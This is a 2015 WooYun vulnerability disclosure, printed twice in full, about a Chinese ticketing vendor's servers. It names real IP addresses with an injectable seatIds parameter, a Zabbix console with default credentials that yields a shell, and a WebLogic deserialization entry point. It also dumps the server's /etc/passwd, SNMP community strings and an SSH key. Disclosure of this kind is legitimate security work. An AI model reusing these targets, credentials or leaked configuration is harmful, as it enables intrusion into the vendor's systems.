当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0160151

漏洞标题:中演票务通多处漏洞(SQL注入\命令执行\反序列化)

相关厂商:中演票务通

漏洞作者: 路人甲

提交时间:2015-12-11 11:11

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-11: 细节已通知厂商并且等待厂商处理中
2015-12-12: 厂商已经确认,细节仅向厂商公开
2015-12-22: 细节向核心白帽子及相关领域专家公开
2016-01-01: 细节向普通白帽子公开
2016-01-11: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

中演票务通多处漏洞(sql注入,命令执行,反序列化)

详细说明:

1>注入
URL:http://119.254.105.143/ticket/web/web.go?method=policyCal&showId=060671&seatIds=10210985&key=IF4F8DK1IFS891KF9S8FKFD8
seatIds参数存在注入。

1.png


2>zabbix命令执行
http://119.254.105.222/zabbix/
admin zabbix

2.png


3.png


直接shell

4.png


3>java反序列化
http://119.254.105.172:7001/console/login/LoginForm.jsp

5.png


cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
jiadd:x:501:501::/home/jiadd:/bin/bash
huangjp:x:502:502::/home/huangjp:/bin/bash


#       sec.name  source          community
#com2sec local localhost zypwt
#com2sec mynetwork 117.79.227.0/24 zypwt
#com2sec mynetwork 192.168.100.0/24 zypwt
com2sec local 119.254.105.128/25 zypwt
com2sec mynetwork 192.168.100.0/24 zypwt
#com2sec local 114.255.121.200 123456
#com2sec mynetwork 114.255.121.200 123456
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIIZGTgm3xj/aqujl7utTwLRHU+e/tZv7po3LQio/HkFC3VqfdRiVKHhbTLRPVGAkPQDL2CtZ/Qsi/9spLrladw2K+kFz1CnImsLW+3wBsuqxmIVt+g34IVk7GnT12s2c8YLC9r1ZIr38zBaLF/TGLQO/eEAjNkgiANefibyhCn2qsK0eT3WrQnLW907nB1UABhqxgNz2ijl6jGV7M9TOXUZP7uiFelM79bMqLsXHSXzRQtLrLkq17uNs9Uy5XsbhwNqtGo8AlzlrCxYf0xRQv37PWqzcZIQ4AhmUytv8tHA6SbtvoV+F9FgwDMILzukCfqY3DzYKTEtxMlpcfvb8Z zhanglong@t3.com.cn

漏洞证明:

1>注入
URL:http://119.254.105.143/ticket/web/web.go?method=policyCal&showId=060671&seatIds=10210985&key=IF4F8DK1IFS891KF9S8FKFD8
seatIds参数存在注入。

1.png


2>zabbix命令执行
http://119.254.105.222/zabbix/
admin zabbix

2.png


3.png


直接shell

4.png


3>java反序列化
http://119.254.105.172:7001/console/login/LoginForm.jsp

5.png


cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
jiadd:x:501:501::/home/jiadd:/bin/bash
huangjp:x:502:502::/home/huangjp:/bin/bash


#       sec.name  source          community
#com2sec local localhost zypwt
#com2sec mynetwork 117.79.227.0/24 zypwt
#com2sec mynetwork 192.168.100.0/24 zypwt
com2sec local 119.254.105.128/25 zypwt
com2sec mynetwork 192.168.100.0/24 zypwt
#com2sec local 114.255.121.200 123456
#com2sec mynetwork 114.255.121.200 123456
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIIZGTgm3xj/aqujl7utTwLRHU+e/tZv7po3LQio/HkFC3VqfdRiVKHhbTLRPVGAkPQDL2CtZ/Qsi/9spLrladw2K+kFz1CnImsLW+3wBsuqxmIVt+g34IVk7GnT12s2c8YLC9r1ZIr38zBaLF/TGLQO/eEAjNkgiANefibyhCn2qsK0eT3WrQnLW907nB1UABhqxgNz2ijl6jGV7M9TOXUZP7uiFelM79bMqLsXHSXzRQtLrLkq17uNs9Uy5XsbhwNqtGo8AlzlrCxYf0xRQv37PWqzcZIQ4AhmUytv8tHA6SbtvoV+F9FgwDMILzukCfqY3DzYKTEtxMlpcfvb8Z zhanglong@t3.com.cn

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-12 09:14

厂商回复:

感谢对中演票务通的关注与帮助。

最新状态:

暂无